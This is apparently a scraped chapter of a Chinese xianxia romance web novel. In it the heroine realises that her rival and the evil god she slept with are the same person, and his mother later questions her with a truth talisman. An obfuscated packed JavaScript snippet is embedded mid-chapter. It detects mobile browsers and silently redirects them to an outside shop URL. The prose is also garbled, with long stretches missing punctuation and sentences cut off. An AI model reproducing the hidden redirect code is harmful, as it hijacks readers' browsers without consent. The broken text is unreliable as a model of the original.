第 79 章 真言符
    第79章真言符

    祝遥栀之前设想过,一见到宿敌就让他解衣不太礼貌也不太符合公序良俗,所以她昨晚都是特意挑邪神的脖颈咬的。

    但她千算万算都没有算到,李眉砂的衣领锁得太高了,她什么都看不清楚!

    所以她只好板着一张脸,开口让李眉砂把领扣解开。

    少年微怔,而后说:“换个地方。”

    这个反应和小怪物也挺像的,都是不肯在大庭广众之下解一点衣袍。

    祝遥栀有些受不了:“只要把你前两颗领扣解了就行,封建人。”

    李眉砂执意换地方,“我的洞府,或者你的画境。”

    “那就我的画境。”祝遥栀急于确认,只好同意了。

    还是去她的画境吧,毕竟是她的东西,比较有安全感。

    她往四周张望了一下,避开人海走到槐花树下的石亭里,抬手布下禁制,再把画卷摊开在桌上。

    李眉砂当然也跟着她走了过来,抬手又布了一重禁制。

    祝遥栀瞥了他一眼,率先进了画境,李眉砂随后而至。

    画境里还是月夜山溪,桃花落在少年的衣袖上,轻铠手甲沾了花色还是冷硬肃杀。

    祝遥栀目光落在他脖颈,催促道:“快解开。”

    李眉砂看她的眼神又开始欲言又止了起来,“…不进屋?”

    嗨呀,就解两粒扣子的事情,为什么还得进屋里?

    祝遥栀:“少啰嗦,这又没别人。”

    李眉砂救没说什么,抬手利落地把衣领的前两颗扣子解开。

    其实他还想解第三颗,但祝遥栀轻喝一声:“不许动!”

    李眉砂:?

    少年眼中流露一丝不解的神情,但还是听她的话,没有再往下解了。

    但哪怕松了两颗领扣,金线锁边的衣领就跟焊在他脖子上一样,严防死守,纹丝不动。

    祝遥栀面色凝重,有些颤抖地伸出手,直接扒拉开宿敌的衣领。

    然后她就睁大了双眼——

    天杀的!为什么李眉砂脖子上也有重重叠叠的牙印!无论是形状还是位置和她昨晚咬出来的一模一样!

    祝遥栀如遭雷劈,当场僵住。

    她简直不敢相信自己的眼睛。

    为什么?这到底是为什么?

    就算李眉砂昨晚去和女修厮混也不可能被咬成这样吧?

    她觉得脑壳好疼。

    “你怎么就这么邪门?”祝遥栀颤抖地揪着李眉砂的衣领“你昨晚到底是去做了什么?”

    李眉砂垂眸但他们靠得太近了他只看得到少女的脑袋还有小巧的鼻尖。

    他缓声说:“我有夜游之症所以我也不知道昨晚发生了什么。”

    他只记得少女窝在他怀里他一伸手就能抱得到脖颈处偶尔传来可以忽略不计的刺痛怀中溢满甜丝丝的馨香夜色中开满了桃花。

    “夜游之症?”祝遥栀蹙眉“这是什么?你睡着了就会梦游?”

    “无论是否入睡一旦入夜我就会失去意识一醒来就是隔日早晨期间发生了什么都不记得除了…”少年的声音顿了一下才说“除了你。”

    “……”祝遥栀觉得这些话信息量有点大让她的脑壳更疼了。

    仔细想想她确实从来没有在晚上看见过李眉砂。

    同理她也从来没有再白天看见过邪神。

    这两者单独来看没有什么但联系在一起就是另外一种可能了。

    她盯着少年脖颈上她亲口咬出来的齿痕

    虽然有点离谱但好像一切可疑的地方都说的通了。

    祝遥栀因为这个猜想忍不住打了个寒颤。

    不会吧这太恐怖了那她不仅睡了邪神还顺带把宿敌给睡了。

    救命啊救命啊。她不要啊她真的很烦宿敌。

    祝遥栀谨慎地问:“那你最近是不是早上有意识的时间越来越往后推了?”

    小怪物说过祂存在的时间越来越长那反之李眉砂的时间就会被缩短。

    她狠狠地瞪着宿敌“你快说你不是。”

    很遗憾李眉砂颔首:“是这样。”

    “……”祝遥栀心如死灰她只觉得天都塌了。

    她接受不了死死揪着李眉砂的衣领凶神恶煞地说:“你快说你昨晚是被蚊子咬了你快说啊!”

    李眉砂很平静地说:“你为什么要说你自己是

    蚊子?”

    祝遥栀哀嚎:“你给我闭嘴!”

    她宁愿她是只蚊子!也不想承认睡过宿敌不想承认她无意间把最讨厌的人睡了。

    祝遥栀越想越觉得眼前一黑又一黑。

    她蹲了下去双手抱着脑袋嘴里念念有词:“怎么回事?为什么会这样呢?”

    好离谱她不要啊啊啊!

    玄色衣角铺曳在草叶上少年在她身前半跪下来缓了声音问:“你头疼?”

    祝遥栀还是觉得很幻灭她有气无力地回答道:“我牙疼早知道我昨晚就不咬那几下好奇害死猫。”

    李眉砂是那种比较一板一眼的性格所以他当真了说:“你张嘴我看看。”

    祝遥栀哽住:“……”

    她扁了扁嘴“我瞎说的。”

    李眉砂就说:“那你先起来我给你煎药。”

    祝遥栀莫名想跟他对着干:“我说了我没有牙疼。”

    李眉砂说:“是压制繁衍血脉的药。”

    祝遥栀“哦”了一声。那这个她要喝。

    她想站起来试了一下然后继续蹲在地上

    李眉砂缓声问:“那我抱你?”

    祝遥栀埋在膝盖上的脑袋瞬间抬起几乎是瞪了他一眼“不要。”

    然后她捏诀瞬移到了竹阁的床榻上双手抱膝蹲成一朵蘑菇继续思考人生。

    李眉砂没进寝间可能是去给她煎药了。

    祝遥栀挠了挠头还是想不清楚其中的缘由但目前看来最大的可能性就是邪神和李眉砂本来就是同一个人但他们之间的认知并不互通。

    她这一生如履薄冰…

    怎么这种买一送一的事情就被她摊上了?她甚至根本不需要买直接零元购哦不对邪神还倒贴了她好多灵石。

    一时间祝遥栀的心情非常复杂有点悔不当初她真傻真的早知道小怪物和宿敌竟然是同一人她在榴花汀的时候也不至于下那个歹毒的合欢蛊。

    她抓了抓头发思绪乱如麻想了很多乱七八糟有的没的。

    比如李眉砂要是让她负责怎么办?她要是不负责宿敌不会告到剑阁去吧?告她始乱终弃。

    天哪要是她家老祖宗祝

    景年知道她竟然和昙释刀传人厮混到一起估计要被活活气死。

    祝遥栀还在思考人生都不知道李眉砂什么时候进来把药放在床头柜上这一次旁边还放了不少蜜饯。

    实话说她现在有点不想面对李眉砂也不知道该怎么面对被她睡过不止一次的宿敌。

    她看着那碗药思绪有些发散。穿书之前她小时候生过病都是妈妈给她熬中药。这是个辛苦活要时时看着火什么时候用大火什么时候文火慢煎更别说不同药材还要先后煎煮。

    想不到除了妈妈愿意花心思给她煎药的人竟然是她的宿敌。

    祝遥栀顿时心情复杂得不行。

    隔着青纱床帘李眉砂只说:“趁热喝。”

    “哦。”祝遥栀撩开帘帐看见淋了桂花糖的金丝蜜枣有些馋勉为其难地喝了一口药又被苦得小脸皱成一团赶紧填了一颗蜜饯。

    一碗药喝下去苦得她心无杂念竟然心平气和了起来。

    算了那她还是当做只睡过邪神算了李眉砂什么的不知道反正她没有任何相关记忆就当无事发生。

    宿敌就是宿敌宿敌是不可能变成道侣的只睡觉不谈感情的炮/友也不行!

    祝遥栀一碗中药的功夫就调理好了继续心安理得地当提上裙子就不认账的渣女。

    李眉砂默默把药碗收了。

    祝遥栀看着少年收拾碗筷的动作忽然觉得她好像也没有那么心安理得了。

    她忽然意识到一个问题所以宿敌对她到底是几个意思?之前她还以为李眉砂是怀疑她才故意接近她现在看来说不定。

    祝遥栀开始梳理时间线一开始她和邪神是在榴花汀好上的但直到她去玲珑七阙游学她还和李眉砂打了一架而且她还差点被宿敌给一刀削死了。

    而那个时间点其实她已经把宿敌给睡了但李眉砂还没有认出她所以掀了幕篱后看见她的脸

    最重要的是李眉砂和小怪物两者的记忆是不共通的所以一开始才会认不出她。

    祝遥栀可以相信邪神是喜欢她的但她拿不准宿敌对她是什么态度。

    她想想就有些牙酸试探着问:“所以你是不是只记得我和你

    …”

    该死的,她看着宿敌那张脸,那些表示亲密纠缠的词是一个都说不出来,只能像是吃了苍蝇一样尬在当场。

    她现在终于理解了,为什么李眉砂有些时候看着她都是一副欲言又止的神情。

    李眉砂垂眸,因为一直在观察她的神色所以很快知道她在问什么。

    他缓声说:“从榴花汀开始,我每晚都做和你相关的梦。”

    做梦?难道李眉砂有一部分的记忆?

    祝遥栀就追问:“什么样的梦?”

    “……”少年长睫微垂,薄薄的眼皮隐隐泛红,像一片桃花瓣,他默了一瞬才说,“你也知道你对我做了什么。”

    祝遥栀怔住。

    然后她惊恐道:“你不会只记得我和你…做那些事情吧?”

    天哪,别的记不起来,为什么偏偏只记得她睡了他!

    李眉砂当然知道她说的是哪些事情。

    少年没有说话,只是纤长的眼睫轻颤了一下,眼皮那抹薄红烧到眼尾。

    祝遥栀看他那副样子,就知道答案了。

    天杀的,宿敌真的只记得这些乱七八糟的事情!

    祝遥栀眼前一黑,简直快要晕厥过去。

    她都不敢想象,她在宿敌眼里到底是什么样的变/态。

    换做是她,每天晚上做一些不可描述的梦,醒来还发现身上有乱七八糟的痕迹,只想把梦里那个胆大包天的人杀了吧。更别说,当那个人活生生地站在自己眼前的时候。

    祝遥栀双手搭着膝盖,她坐在床榻上,所以她一眼扫过去,就看到了少年腰封上的血红玉简,想到里面都是像碎骨钉一样的刑具,她就觉得浑身都疼了起来。

    她确实是个罪孽深重的女人,但是她罪不至此吧。

    李眉砂如果想找她算账,怎么一直忍到现在还不动手?难道还是怀疑她与魔教有染,所以先按兵不动?到时数罪并罚再和她算总账。

    祝遥栀忍不住回想起李眉砂提刀斩杀那些孽物时的凶残模样,越想越觉得自己很危。

    不行,她不能再和宿敌单独待在一起了,太危险了。

    祝遥栀一把撩开床帘,“我们先出去。”

    出了画境,她又快步走入络绎不绝的行人中,才觉得安全了不少。

    李眉砂身高腿长没几步就追上她“你不问别的?”

    还有什么好问的!

    她都变/态了就让让她吧。

    祝遥栀不想继续谈论这个直接转移了话题:“你找到这个幻境的阵眼了吗?”

    “没有阵眼不在此地。”李眉砂说“但我找到了魔教的据点可惜并未发现魔教圣女的踪迹。”

    堂堂魔教圣女祝遥栀:“……”

    她转眸看向街上仍然在分发喜糖的喜婆和丫鬟说:“和昨天一样这个幻境在不断重复。”

    李眉砂说:“这个幻境在等人。”

    祝遥栀想起昨晚墨天音那些说了一半就戛然而止的话有很多问题想要问但她和李眉砂之间的关系还没有到可以无所顾忌地探知对方家中私事的地步。

    出乎她的意料李眉砂主动提起:“幻境在等我母亲我并不知晓她的行踪。”

    祝遥栀就顺势说:“我昨晚遇到了墨天音在婚宴上她说当初这场婚礼你母亲并没有回来。”

    李眉砂:“我也是第一次听说。”

    “啊?”祝遥栀怔了一下“可这是你的父母。”

    怎么好像不太熟的样子。

    李眉砂说:“我从未见过我父亲连我母亲都鲜少见面。”

    祝遥栀:?

    她惊讶地问:“你不是你母亲养大的吗?”

    “从我有记忆以来我一直在玲珑七阙明事理承极武母亲偶尔会传讯让我去斩杀魔修更多的时候由墨天音传达命令。”少年声音平静“偶尔见母亲一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106287|149737||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面她也只问我是否领悟了昙释刀法最后一阶。”

    简直是放养。

    祝遥栀忽然想起一件事邪神之前一直被困在仙盟的秉烛狱墨天音等人不断把小怪物虐杀回幼弱之时必然经过了陆簪星的授意甚至还有可能是陆簪星亲自动手。

    她觉得这些事情背后一定是沉重而血淋淋的真相所以她没有再细想下去只是问:“所以昙释刀最后一阶是什么?”

    李眉砂答道:“苍生渡。我母亲说我眼中未见苍生。”

    祝遥栀说:“哪怕没有悟到最后一阶你也已经很强了。”

    谈话间

    祝遥栀又坐在昨天的竹亭里区别是今天捎上了李眉砂。

    浮光日影落了少年一身长发高束容色清绝。

    祝遥栀越看越是不能接受甚至有几分悲从中来好端端的她怎么就变成脚踏两条船的渣女了?

    可能是她的面容有些扭曲李眉砂缓声问:“你在想什么?”

    “想我到底是造了什么孽。”祝遥栀趴在石桌上有点生无可恋。

    太离谱了这叫什么事。

    而这时竹帘外有丫鬟说:“贵客这是我们姑爷送的九州月白今日大喜与二位同乐。”

    祝遥栀瞥了过去只见丫鬟手中端着的是一壶酒。

    她与李眉砂对视一眼后者撩开竹帘丫鬟把酒放下后就行礼离开。

    祝遥栀指了指那壶酒问:“有没有毒?”

    “没有。”李眉砂说。

    祝遥栀挑开竹帘环顾四周发现只有他们这桌有这壶意义不明的九州月白。

    李梦戈这是什么意思?

    她还在疑惑不解而李眉砂说:“九州月白是天下四大佳酿之首因为酿酒的月魄白梨已经绝迹向来有价无市。”

    冰裂纹的青瓷酒瓶散发出清冽柔甜的酒香带着梨花盛开的香气。

    祝遥栀说:“倒是大手笔。”

    她隔着竹帘往正厅瞥了一眼问李眉砂:“你不去见一下你父亲?”

    “既堕孽物

    好吧真是帮理不帮亲啊。陆簪星也是这么想的吗?所以连自己的亲生儿子都能痛下杀手。

    祝遥栀有些感慨李眉砂却问她:“你要不要和我去杀魔教圣女?”

    干嘛她杀她自己?

    祝遥栀心头一颤强装镇定道:“你不是说还找不到她?”

    “幻境封锁之下她躲得了一时躲不了一世。”少年眼神凛冽生霜“你放心我一定会让她交出剔除繁衍血脉的方法。”

    “……”祝遥栀柔弱无助地捂紧了马甲。

    她说:“那你还是自己去吧我胆子小见不了太血腥的东西。”

    “好。”李眉砂颔首“小心行事。”

    他走后祝遥

    栀不由得松了一口气。

    她还是接受不了宿敌变情债太恐怖了。

    不久后有丫鬟隔帘对她说:“贵客我们小姐有请。”

    小姐?

    陆府唯一的小姐想必就是陆簪星。

    但按理说此时的陆簪星还没回来昨天的婚礼新娘子可是等到入夜才回来。

    难道陆簪星真的来了?

    祝遥栀觉得有些不对劲她并不想去但她的识海里却传来系统的声音:“你必须去陆簪星是破开幻境的关键。”

    祝遥栀很不爽“幻境不破开司空玉也不会死。”

    系统说:“他并没有入幻境

    祝遥栀无语。

    她不想动但系统一直在识海里吵她还拿不能回家威胁她她只好起身撩开竹帘让丫鬟带她去见陆簪星。

    丫鬟带着她穿过曲折连廊绕进了幽深后院梨花簌簌吹雪拂开花瓣就看到女子的闺阁幽静清雅却又处处华美。

    丫鬟为她推开雕花木门祝遥栀踏过门槛里边是二进制的小院也种了满院梨花院中石桌上坐了一名女子凤冠霞帔只是红盖头被她随手丢在一边。

    黛眉凤目云鬓花容很美的女人只是她的美带着侵略性凛冽又势不可挡的英气。

    “坐。”陆簪星看了她一眼目光带着审视的意味。

    祝遥栀就在她对面落座“陆小姐或者是盟主?”

    “称呼并无意义唯一重要的是真相。”陆簪星的行事作风就和李眉砂一样单毫不拖泥带水直接问“你在榴花汀做了什么?”

    祝遥栀就知道来这一趟绝无好事。

    她极快地冷静下来说:“我就和其他修士一样带着追魔铃进了禁地协助洛音长老用诛邪箭击杀邪神是有什么问题吗?”

    陆簪星只是冷冷看着她。

    祝遥栀面上露出恰到好处的疑惑和茫然。

    片刻后陆簪星说:“祝姑娘你是否知道孽物生来就有血脉牵制若我想要祂死祂绝对不可能存活。诛邪箭上附有我的心头血却没能将祂扼杀在榴花汀你做了什么?”

    祝遥栀心头一跳。她自然知道陆簪星说的就是邪神

    ,血脉压制…是因为陆簪星到底是祂的生母。

    但这也太狠了,虎毒尚且不食子。

    祝遥栀继续装傻:“晚辈不知盟主所言是何意?

    “我的时间有限,不想听废话。陆簪星抬手,直接甩了一道灵符过来。

    祝遥栀下意识想要躲开,但她动不了,陆簪星修为比她高,威压之下,她只能看着灵符化作流光钻入她体内。

    “此为真言符,陆簪星又问了一遍,“你在榴花汀做了什么?

    祝遥栀也不想的,但因为真言符,她迫不得已开口说:“我把你儿子睡了。

    “……

    陆簪星有些不可置信地看着她。

    祝遥栀很无辜,摊手道:“我其实也不想说的。

    这难道光彩吗?

    陆簪星凤目微眯,“看来你知道得不少。

    “是啦,盟主是不是想说,知道得越多,死得越快。祝遥栀已经摆烂了,反正有真言符,她也装不了。

    “祝姑娘是如此看我的?陆簪星话语冰凉,神情喜怒难辨。

    如果是正常情况下,祝遥栀肯定会识趣地回以一些恭维的好话。

    ——但因为她被下了真言符,她只能诚恳地说出心中的真实想法:“美女,我想把你的心挖出来看看是不是铁做的,怎么这么硬。

    哈哈,她觉得她很快就要死了。

    作者有话要说